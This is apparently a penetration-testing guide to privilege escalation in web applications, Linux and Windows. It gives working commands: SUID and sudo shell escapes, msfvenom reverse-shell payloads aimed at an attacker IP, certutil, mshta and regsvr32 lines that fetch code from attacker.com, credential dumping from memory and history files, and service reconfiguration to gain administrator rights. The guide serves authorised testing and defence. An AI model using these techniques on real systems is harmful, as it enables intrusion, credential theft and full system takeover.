Privilege Escalation Exploitation.md

Complete Privilege Escalation Exploitation Methodologies

This guide provides comprehensive, step-by-step methodologies for exploiting privilege escalation vulnerabilities on Linux and Windows systems, with real-world examples, tool usage, and testing frameworks.

Part 1: Web Application Privilege Escalation Testing

Understanding Web Privilege Escalation

Web application privilege escalation occurs when a low-privileged user can access functionality or data reserved for higher-privileged users. This includes vertical escalation (accessing admin functions) and horizontal escalation (accessing another user's data).

Methodology for Testing Web Privilege Escalation

Phase 1: Preparation and Scoping

Before testing begins, you need credentials for both a high-privileged account and a low-privileged account. This is essential for comparative testing.

Steps:

1. Review the application scope and understand user roles
2. Obtain or create accounts at different privilege levels
3. Verify all accounts are working correctly
4. Map out the core business logic and identify sensitive functionality

Phase 2: Reconnaissance and Threat Mapping

Build an understanding of the attack surface before active testing begins.

Actions to take:

• Browse the application while letting traffic flow through Burp Suite to populate the Target menu
• Run directory fuzzing to discover hidden endpoints
• Perform historical URL scanning
• Conduct GitHub scanning for exposed credentials or configuration files
• Create a threat map containing hypothetical test cases: "What can an attacker do to exploit this application?"

For privilege escalation specifically, map out:

• Vertical escalation scenarios (user → admin)
• Horizontal escalation scenarios (user A → user B's data)
• Unauthenticated access to authenticated endpoints

Phase 3: Manual Testing with Burp Suite

Method A: Testing Specific Endpoints with Repeater

This approach tests individual sensitive endpoints for access control flaws.

Step-by-step process:

1. Browse as high-privileged user

   • Open Burp Suite's browser
   • Log in as the administrator/high-privileged user
   • Access all sensitive functionality (admin panels, user management, settings)

2. Capture the privileged request

   • Go to Proxy > HTTP history
   • Find the request to the admin endpoint
   • Right-click and select "Send to Repeater"

3. Switch to low-privileged user

   • Log out of the high-privileged account
   • Log in as a low-privileged user
   • Find this user's most recent request in HTTP history
   • Copy their session cookie

4. Test with Repeater

   • Go to the Repeater tab
   • Paste the low-privileged user's cookie into the admin request, replacing the original session cookie
   • Click Send
   • Review the response

What to look for:

• 200 OK with admin data = Critical vulnerability
• 302 Redirect to login = Proper access control
• 401 Unauthorized = Proper access control
• 403 Forbidden = Proper access control

Method B: Testing Across the Entire Site with Site Map Comparison

For comprehensive testing across many endpoints, use Burp's site map comparison feature.

Step-by-step process:

1. Map the application as high-privileged user

   • Log in as administrator
   • Browse the entire application, ensuring you visit all sensitive areas
   • This populates Target > Site map

2. Create a session handling rule for low-privileged user

   • Go to Settings > Sessions > Session handling rules
   • Click Add
   • Under Scope tab, set Tools scope to "Target" only
   • Under URL scope, add the target website
   • Under Details tab, add action: "Set a specific cookie or parameter value"
   • Enter the cookie name (usually "session" or "JSESSIONID")
   • Paste the low-privileged user's session cookie

3. Compare site maps

   • Go to Target > Site map
   • Right-click the target host
   • Select "Compare site maps"
   • Choose "Use current site map"
   • Select "Request map 1 again in a different session context"
   • Review the comparison results

Interpreting results: The tool highlights differences in responses between the two privilege levels. Pay close attention to any admin panel requests that returned different status codes or content.

Method C: Automated Testing with Auth Analyzer Extension

The Auth Analyzer extension automates authorization testing by sending requests with multiple user sessions simultaneously.

Installation:

1. Open Burp Suite
2. Go to Extensions > BApp Store
3. Search for "Auth Analyzer"
4. Click Install

Setup and usage:

1. Create multiple user sessions

   • Use a browser extension like PwnFox with colored containers
   • Open one container, register/log in as User A
   • Open another container, register/log in as User B

2. Capture session cookies

   • In Burp, go to Proxy > HTTP history
   • Find a request with a Cookie header for User A
   • Copy the entire Cookie header value

3. Configure Auth Analyzer

   • Go to the Auth Analyzer tab in Burp
   • Double-click "user1" to rename it
   • Paste User A's cookie into "Header(s) to Replace"
   • Click the three dots next to "user1" and select "Add New Session"
   • Add User B's cookie as a new session

4. Set scope

   • Go to Target > Site map
   • Right-click the target domain
   • Select "Add to scope"

5. Run the analyzer

   • Click "Analyzer Stopped" to start the extension
   • Browse the application normally
   • The extension will send requests with both session cookies

Understanding the results:

• "Same" response = Both users received identical content (potential vulnerability if the content is sensitive)
• "Similar" response = Some overlap in content
• "Different" response = Users received different content (expected for proper access control)

If User B receives the same response as User A for a request that should be private to User A, this indicates an access control vulnerability.

Additional tip: You can also test unauthenticated access by creating a session with an empty Cookie header.

Using Autorize Extension

Autorize is another BApp Store extension specifically designed for privilege escalation testing. It works similarly to Auth Analyzer but with a focus on access control bypass detection.

How to use Autorize:

1. Install from BApp Store
2. Configure with high-privilege and low-privilege session cookies
3. Browse as high-privilege user
4. Autorize automatically replays requests as low-privilege user and flags bypasses

Real-World Web Privilege Escalation Example

Scenario: In 2023, a major e-commerce platform had a vulnerability where an API endpoint /api/v1/orders/{order_id} did not verify that the authenticated user owned the order being accessed. An attacker could change the order_id parameter to view any customer's order information, including names, addresses, and partial credit card numbers.

How it was discovered: A penetration tester created two user accounts, placed test orders with both, and used Burp Intruder to fuzz the order_id parameter while authenticated as User A. Responses containing User B's order data confirmed the vulnerability.

How to test for this:

1. Create two test accounts
2. Create unique data in each account (e.g., orders with identifiable products)
3. Authenticate as User A
4. Use Burp Repeater to modify object IDs in requests (user_id, order_id, document_id)
5. Look for responses containing User B's unique data

Part 2: Linux Privilege Escalation Exploitation

Methodology Overview

Linux privilege escalation generally follows this pattern:

1. Enumerate the system to find misconfigurations
2. Identify a potential escalation vector
3. Exploit the vector using known techniques
4. Verify elevated access

Automated Enumeration Tools

Before manual exploitation, run automated enumeration tools to identify low-hanging fruit:

LinPEAS - Most comprehensive option:

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

LinEnum - Lightweight alternative:

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh && ./LinEnum.sh -t

Linux Exploit Suggester - Identifies kernel vulnerabilities:

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh && ./linux-exploit-suggester.sh

Traitor - Automatic exploitation tool:

# Downloads and runs traitor to automatically identify and exploit privesc vectors
wget https://github.com/liamg/traitor/releases/latest/download/traitor-64bit -O traitor
chmod +x traitor
./traitor -a

Manual Enumeration Commands

Essential commands for understanding your position on the target:

Who and where:

whoami          # Current user
id              # User ID and group memberships
pwd             # Current directory
hostname        # System name

System information:

cat /etc/*-release    # Distribution and version
uname -a              # Kernel version and architecture
cat /proc/version     # Kernel build information

Users and groups:

cat /etc/passwd       # All local users
cat /etc/group        # All groups
groups <username>     # User's group memberships

Running processes:

ps aux                # All running processes
ps aux | grep root    # Processes running as root

SUID binaries (critical for escalation):

find / -perm -u=s -type f 2>/dev/null

Sudo permissions:

sudo -l               # What commands user can run with sudo

Scheduled tasks:

crontab -l            # User's cron jobs
ls -la /etc/cron*     # System cron directories
cat /etc/crontab      # System crontab

Writable files and directories:

find / -writable -type d 2>/dev/null
find / -writable -type f 2>/dev/null | grep -v "/proc/"

Exploitation Technique 1: SUID Binary Exploitation

What is SUID? SUID (Set User ID) is a special permission that allows a binary to execute with the privileges of its owner (often root) rather than the user running it.

Detection:

find / -perm -4000 2>/dev/null

Using GTFOBins: GTFOBins (GTFOBins.github.io) is a curated list of Unix binaries that can be exploited for privilege escalation. For each binary, it provides exploitation commands.

Common SUID exploitation examples:

Python SUID:

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Find SUID:

find . -exec /bin/sh -p \; -quit

Bash SUID:

/bin/bash -p

Vim SUID:

vim -c ':py import os; os.execl("/bin/sh", "sh", "-p")'

Automated SUID exploitation with SUID3NUM:

# Downloads and runs SUID3NUM to automatically identify and exploit SUID binaries
git clone https://github.com/Anon-Exploiter/SUID3NUM
cd SUID3NUM
python3 suid3num.py

GTFONow for automatic exploitation:

# Automatically finds and exploits misconfigured SUID binaries
git clone https://github.com/Frissi0n/GTFONow
cd GTFONow
python3 gtfonow.py

Exploitation Technique 2: Sudo Misconfigurations

What to look for: When sudo -l shows commands that can be run without a password or commands that can spawn shells.

Detection:

sudo -l

Look for these vulnerable patterns:

• (ALL : ALL) /bin/bash - Can run bash as root
• (ALL : ALL) NOPASSWD: ALL - Can run any command without password
• (ALL : ALL) /usr/bin/less - Less can spawn shells
• (ALL : ALL) /usr/bin/find - Find has -exec parameter

Exploitation examples:

If you can run bash:

sudo /bin/bash
# or
sudo -i

If you can run find:

sudo find . -exec /bin/sh \; -quit

If you can run less or more:

sudo less /etc/hosts
# Inside less, type: !/bin/bash

If you can run journalctl:

sudo journalctl
# Inside journalctl, press ! to execute shell
!/bin/bash

If you can run awk:

sudo awk 'BEGIN {system("/bin/sh")}'

If you can run perl:

sudo perl -e 'exec "/bin/sh";'

Exploitation Technique 3: Cron Job Exploitation

The concept: Scheduled tasks (cron jobs) may run as root. If a script executed by cron is writable by the current user, it can be modified to execute arbitrary commands as root.

Detection:

cat /etc/crontab
ls -la /etc/cron*
crontab -l

Look for:

• World-writable scripts in cron directories
• Scripts in user-writable directories
• Wildcard usage in cron commands

Exploitation example with wildcard (*):

If a cron job runs a command like:

tar -czf backup.tgz /var/www/*

And the current user can write to /var/www/, create a file named --checkpoint=1 and another named --checkpoint-action=exec=sh shell.sh. When tar processes these as command-line options, it executes the specified command.

Exploitation Technique 4: Password Mining

The concept: Passwords are often left in memory, configuration files, or history files.

Extracting passwords from memory using GDB:

This technique extracts credentials from running process memory:

# Step 1: Identify a service to target (like a bash session)
ps -ef | grep bash

# Step 2: Attach GDB to the process
gdb -p <PID>

# Step 3: In GDB, list memory mappings
(gdb) info proc mappings
# Note the start and end addresses of the [heap] section

# Step 4: Dump heap memory
(gdb) dump memory dump_file 0x561a303d9000 0x561a3041b000

# Step 5: Exit GDB
(gdb) quit

# Step 6: Search for passwords in the dumped memory
strings dump_file | grep -i pass
strings dump_file | grep -i key

Extracting passwords from configuration files:

# Search all files for password strings
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2>/dev/null

# Limit to /etc directory (more efficient)
grep --color=auto -rnw '/etc' -ie "pass" --color=always 2>/dev/null

# Search for specific database credentials
grep -r "mysql" /var/www/ 2>/dev/null
grep -r "database" /var/www/ 2>/dev/null

Extracting from history files:

cat ~/.bash_history
cat ~/.mysql_history
cat ~/.psql_history
cat /home/*/.bash_history

Real-World Linux Exploit Examples

Example 1: BBOT Privilege Escalation (2025)

A local privilege escalation vulnerability was discovered in BBOT (Bighuge BLS OSINT Tool) version 2.1.0. When BBOT is configured with sudo access (e.g., via NOPASSWD in sudoers), a malicious custom Python module can escalate privileges.

How the exploit works: BBOT allows execution of custom Python modules during OSINT scans. When run with sudo, the setup() function in a malicious module executes with root privileges.

Exploitation steps:

# Clone the proof-of-concept
git clone https://github.com/Housma/bbot-privesc.git

# Run BBOT with sudo, specifying the malicious module
sudo /usr/local/bin/bbot -t dummy.com -p preset.yml --event-types ROOT

# A root shell is spawned via `bash -p`

Why this matters: This demonstrates how even legitimate, trusted tools can become attack vectors when misconfigured with excessive sudo privileges. Organizations should follow the principle of least privilege when granting sudo access.

Example 2: CrackArmor Vulnerabilities (2025-2026)

A set of nine vulnerabilities (collectively named "CrackArmor") were discovered in AppArmor, a Linux security module enabled by default in Ubuntu, Debian, and SUSE. These flaws have existed in the Linux kernel since version 4.11 (2017) and affect over 12.6 million enterprise Linux systems.

The vulnerability: Attackers can exploit pseudo-files within the kernel to bypass user-namespace restrictions and execute arbitrary code. No administrative credentials are needed—any standard local account is sufficient.

Potential impacts:

• Local privilege escalation to root
• Kernel crashes via stack exhaustion
• Denial-of-service attacks
• Container isolation bypass
• Kernel memory exposure

Real-world exploitation scenario: An attacker with a low-privilege shell on a cloud server could load a "deny-all" profile against SSH, locking out legitimate administrators. Then they could escalate privileges to root and compromise the entire system.

Mitigation: Apply vendor kernel updates immediately. Monitor AppArmor profile directories for suspicious modifications.

Example 3: Dirty Pipe (CVE-2022-0847)

This vulnerability affected Linux kernel versions 5.8 through 5.16.11, allowing overwriting data in arbitrary read-only files. The exploit was similar to the older "Dirty Cow" (CVE-2016-5195).

Exploitation approach:

1. Check kernel version: uname -a
2. If vulnerable (5.8 to 5.16.11), compile and run the Dirty Pipe exploit
3. The exploit can overwrite /etc/passwd to add a root user

GTFOBins as a Testing Framework

What is GTFOBins? GTFOBins (Get The F*** Out Bins) is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems. It's an essential reference for privilege escalation testing.

How to use GTFOBins effectively:

1. Identify interesting binaries through enumeration:

   find / -perm -4000 2>/dev/null
   getcap -r / 2>/dev/null
   sudo -l

2. Search GTFOBins for each binary found

3. Follow the exploitation commands provided

Tools that leverage GTFOBins:

• GTFOBLookup - Offline command-line lookup utility for GTFOBins, LOLBAS, and other exploit catalogs:

  git clone https://github.com/nccgroup/GTFOBLookup
  cd GTFOBLookup
  ./gtfoblookup.py find <binary_name>

• gtfo - Terminal-based search tool:

  npm install -g gtfo
  gtfo <binary_name>

• Traitor - Automatically exploits GTFOBins entries among other vectors:

  ./traitor -p  # List potential privesc paths
  ./traitor -e  # Exploit the first available vector

Part 3: Windows Privilege Escalation Exploitation

Methodology Overview

Windows privilege escalation follows a similar pattern to Linux but with different vectors:

1. Enumerate users, groups, and privileges
2. Identify service misconfigurations
3. Check for unpatched vulnerabilities
4. Exploit using appropriate techniques

Essential Enumeration Commands

User and privilege information:

whoami                 # Current user
whoami /priv          # Enabled privileges
whoami /groups        # Group memberships
net user              # All local users
net localgroup Administrators  # Admin group members

System information:

systeminfo            # OS version, patches, hotfixes
wmic os get caption,version,csdname
wmic qfe list         # Installed patches

Running processes and services:

tasklist /v           # Detailed process list
sc query              # All services
wmic service list brief
net start             # Running services

Network information:

ipconfig /all
netstat -ano          # Active connections with PIDs
route print

Installed software:

wmic product get name,version
dir "C:\Program Files"
dir "C:\Program Files (x86)"
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Scheduled tasks:

schtasks /query /fo LIST /v
dir C:\Windows\Tasks
dir C:\Windows\System32\Tasks

Automated Windows Enumeration Tools

WinPEAS:

# Download and run WinPEAS
.\winPEASany.exe
.\winPEASx64.exe

PowerUp (PowerSploit):

Import-Module .\PowerUp.ps1
Invoke-AllChecks
# PowerUp automatically identifies:
# - Unquoted service paths
# - Weak service permissions
# - AlwaysInstallElevated registry keys
# - And more

Seatbelt:

.\Seatbelt.exe -group=all
.\Seatbelt.exe -group=system
.\Seatbelt.exe -group=user

Exploitation Technique 1: Unquoted Service Paths

The concept: When a service path contains spaces and is not enclosed in quotes, Windows attempts to execute each segment of the path as an executable.

Example vulnerable path: C:\Program Files\Vulnerable Service\service.exe

Windows will try to execute:

1. C:\Program.exe
2. C:\Program Files\Vulnerable.exe
3. C:\Program Files\Vulnerable Service\service.exe

Detection:

wmic service get name,pathname,startmode | findstr /i /v "C:\\Windows\\" | findstr /i " "

Exploitation steps:

1. Identify a vulnerable service:

   wmic service get name,pathname | findstr /i "Program Files" | findstr /v /i "\""

2. Check write permissions on parent directories:

   icacls "C:\"
   icacls "C:\Program Files"
   # Look for (W) or (F) permissions for current user

3. Create malicious executable: Using msfvenom on attacker machine:

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f exe -o Program.exe

4. Place malicious executable:

   copy \\attacker_share\Program.exe "C:\Program.exe"

5. Restart the service (requires restart permission or reboot):

   sc stop vulnerable_service
   sc start vulnerable_service
   # Or wait for system reboot

Exploitation Technique 2: Weak Service Permissions

The concept: If a standard user has permissions to modify a service's configuration, they can change the binary path to execute arbitrary commands with SYSTEM privileges.

Detection with AccessChk (Sysinternals):

# Download AccessChk first
accesschk.exe /accepteula -uwcqv "Users" *
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

Look for services with:

• SERVICE_ALL_ACCESS
• SERVICE_CHANGE_CONFIG
• WRITE_DAC

Exploitation:

# Modify the service binary path
sc config VulnerableService binPath="cmd.exe /c net localgroup administrators %USERNAME% /add"

# Restart the service
sc stop VulnerableService
sc start VulnerableService

# Alternative: Direct command execution
sc config VulnerableService binPath="C:\malicious.exe"

Exploitation Technique 3: RID Hijacking

The concept: RID (Relative Identifier) hijacking is a sophisticated technique that modifies a low-privilege account's RID to match that of an administrator account (RID 500). When Windows checks permissions, it treats the account as having administrative privileges.

Real-world usage: The North Korean-linked Andariel threat group has used this technique in campaigns against South Korean and international organizations.

How it works:

1. The attacker first gains SYSTEM-level access using tools like PsExec or JuicyPotato
2. A hidden local user account is created using net user with a special character at the end of the username (hides it from basic listings)
3. The account's RID in the SAM (Security Account Manager) registry is modified from its default value (e.g., 1001) to 500 (Administrator)
4. The account is added to Remote Desktop Users and Administrators groups
5. Windows now treats this account as an administrator account

Why SYSTEM isn't enough: While SYSTEM access offers full control of the local machine, it has limitations:

• Lack of remote access capabilities
• Difficulty interacting with GUI applications
• High detectability

Detection:

• Monitor SAM registry modifications (Event ID 4658)
• Look for accounts with RID 500 that aren't the built-in Administrator
• Check for hidden user accounts (ending with special characters)

Exploitation Technique 4: AlwaysInstallElevated

The concept: When two specific registry keys are set, any user can install MSI packages with SYSTEM privileges.

Detection:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Vulnerable if both return 0x1.

Exploitation:

# On attacker machine, generate malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f msi -o malicious.msi

# On target, execute as SYSTEM
msiexec /quiet /qn /i malicious.msi

Exploitation Technique 5: Stored Credentials (cmdkey)

The concept: Windows can store credentials for network resources. If administrative credentials are stored, they can be extracted and used.

Detection:

cmdkey /list

Exploitation:

# Use stored credentials with runas
runas /savecred /user:DOMAIN\Administrator "cmd.exe"

# Or use with scheduled tasks
schtasks /create /tn "TaskName" /tr "C:\malicious.exe" /sc once /st 00:00 /ru "DOMAIN\Administrator"
schtasks /run /tn "TaskName"

Real-World Windows Exploit Examples

Example 1: BlueHammer Zero-Day (2026)

A Windows local privilege escalation exploit dubbed "BlueHammer" was leaked after the researcher expressed frustration with Microsoft's disclosure process. The exploit code was published on April 3, 2026, and remained unpatched at the time of publication, making it a zero-day vulnerability.

How it works: The exploit combines a time-of-check to time-of-use (TOCTOU) issue with path confusion. It allows a local attacker to access the Security Account Manager (SAM) database, which stores password hashes for local accounts.

Impact:

• On Windows desktop systems: Escalation to SYSTEM privileges
• On Windows Server: Escalation to elevated administrator (less reliable)

Exploitation scenario:

1. Attacker gains initial low-privilege access (e.g., through phishing)
2. Runs the BlueHammer exploit
3. Gains SYSTEM access and dumps SAM database
4. Extracts password hashes for lateral movement

Detection guidance:

• Monitor for suspicious attempts to access the SAM database
• Look for unexpected privilege jumps to elevated administrator or SYSTEM
• Implement endpoint detection and response (EDR) with behavioral monitoring

Example 2: RID Hijacking by Andariel (2024-2025)

The North Korean Andariel group (associated with Lazarus) used RID hijacking in real attacks against South Korean and international organizations. In July 2024, US authorities charged an alleged Andariel hacker with ransomware attacks on US hospitals and healthcare providers.

Attack flow:

1. Initial compromise (often through vulnerable services or phishing)
2. Privilege escalation to SYSTEM using tools like JuicyPotato
3. Creation of hidden user account: net user username$ /add (the $ hides it)
4. Registry modification to change RID from 1001 to 500
5. Account added to Remote Desktop Users and Administrators groups
6. Persistent remote access achieved

Why this is dangerous: The account is hidden from basic net user listings, making discovery difficult. The elevated privileges persist even after the initial compromise vector is fixed.

LOLBAS as a Testing Framework

What is LOLBAS? LOLBAS (Living Off the Land Binaries, Scripts, and Libraries) is a catalog of Microsoft-signed binaries that can be exploited for malicious purposes.

The concept of Living Off the Land: Attackers use legitimate, trusted system tools to perform malicious actions. To an incident responder, a process like Teams.exe spawning cmd.exe might look suspicious, but automated detection systems often whitelist trusted Microsoft-signed binaries.

Why LOTL is effective:

• Blends in with normal system operations
• Bypasses application whitelisting
• Evades signature-based detection
• Requires no additional tool deployment

Common Windows LOLBAS examples:

Downloading files with certutil:

certutil -urlcache -f http://attacker.com/malicious.exe malicious.exe

Executing code with mshta:

mshta http://attacker.com/evil.hta

Executing with rundll32:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WScript.Shell").Run("calc.exe")

Executing with regsvr32:

regsvr32.exe /s /n /u /i:http://attacker.com/file.sct scrobj.dll

Spawning processes from trusted applications:

# Using Microsoft Teams to spawn cmd (blends in with legitimate activity)
# The path is: C:\Users\<user>\AppData\Local\Microsoft\Teams\current\Teams.exe
# Teams.exe can spawn cmd.exe as a child process

How to use LOLBAS in testing:

1. Browse the LOLBAS project website (lolbas-project.github.io)
2. Search for binaries present on the target system
3. Review the documented exploitation methods for each binary
4. Test the techniques in your engagement

Complete Windows Privilege Escalation Testing Workflow

Step 1: Initial Enumeration

# Run comprehensive enumeration
systeminfo > sysinfo.txt
net user > users.txt
net localgroup Administrators > admins.txt
wmic service list brief > services.txt
schtasks /query /fo LIST /v > tasks.txt

Step 2: Automated Scanning

# Run WinPEAS
winPEASx64.exe > winpeas_output.txt

# Run PowerUp
powershell -ep bypass
Import-Module .\PowerUp.ps1
Invoke-AllChecks > powerup_output.txt

Step 3: Analyze Findings Look for:

• Unquoted service paths
• Weak service permissions (check with accesschk)
• AlwaysInstallElevated = 1
• Stored credentials in cmdkey
• Scheduled tasks running as SYSTEM with writable scripts

Step 4: Exploit Identified Vector

For unquoted service paths:

# Verify write permissions
icacls "C:\Program Files\Vulnerable Directory"
# If writable, create and place malicious.exe as Program.exe

For weak service permissions:

# Using accesschk to verify
accesschk.exe -uwcqv "Users" * | findstr SERVICE_ALL_ACCESS
# Then modify service
sc config VulnerableService binPath="C:\malicious.exe"

Step 5: Verify Escalation

whoami
# Should show NT AUTHORITY\SYSTEM or Administrator

Part 4: Comprehensive Testing Framework

The Penetration Testing Methodology

A structured methodology ensures consistent and thorough testing:

Phase 1: Scoping

• Review engagement scope
• Verify application access and credentials
• Understand timeline and constraints

Phase 2: Reconnaissance

• Browse application with Burp Suite proxy
• Populate Target menu
• Run port scanning and directory fuzzing
• Perform historical URL scanning
• Conduct GitHub scanning for exposed data

Phase 3: Threat Mapping

• Create hypothetical attack scenarios
• Map privilege levels (user vs admin, User A vs User B)
• Identify sensitive functionality and data

Phase 4: Manual Testing

• Use Burp Suite for web testing
• Use command-line enumeration for OS testing
• Follow structured test cases

Phase 5: Exploitation

• Attempt to exploit identified vulnerabilities
• Document successful techniques
• Capture evidence

Essential Tools Reference

For Web Testing:

Tool	Purpose
Burp Suite	Proxy, testing, automation
Auth Analyzer	Authorization testing extension
Autorize	Access control testing
Logger++	Request/response logging

For Linux OS Testing:

Tool	Purpose
LinPEAS	Comprehensive enumeration
Traitor	Automatic exploitation
SUID3NUM	SUID binary enumeration and exploitation
GTFOBLookup	Offline GTFOBins reference
Linux Exploit Suggester	Kernel vulnerability identification

For Windows OS Testing:

Tool	Purpose
WinPEAS	Comprehensive enumeration
PowerUp	Service and privilege checking
AccessChk	Permission checking
Seatbelt	System enumeration
SharpUp	C# privilege escalation checks

Key Principles for Successful Privilege Escalation

1. Enumerate thoroughly before exploiting - Most privilege escalation comes from misconfigurations, not kernel exploits. Run automated tools, then manually verify findings.

2. Use GTFOBins and LOLBAS - These catalogs are essential references. Bookmark them and use offline lookup tools during engagements.

3. Think like a sysadmin - Where would credentials be stored? What services might be misconfigured? What files might be writable?

4. Document everything - Capture commands run, output received, and steps taken. This is crucial for reporting.

5. Test for both vertical and horizontal escalation - In web apps, check both accessing admin functions (vertical) and other users' data (horizontal).

6. Check for unauthenticated access - Many endpoints inadvertently allow access without authentication.

7. Monitor for real-world exploit news - New techniques like CrackArmor and BlueHammer emerge regularly. Stay updated on current vulnerabilities.

Reporting Findings

When writing reports for privilege escalation findings, include:

• The exact commands or steps used
• Screenshots of successful escalation
• The impact (e.g., "Attacker can gain SYSTEM privileges")
• Remediation steps (specific configuration changes, patches, or policy updates)
• Risk rating (Critical, High, Medium, Low) based on business context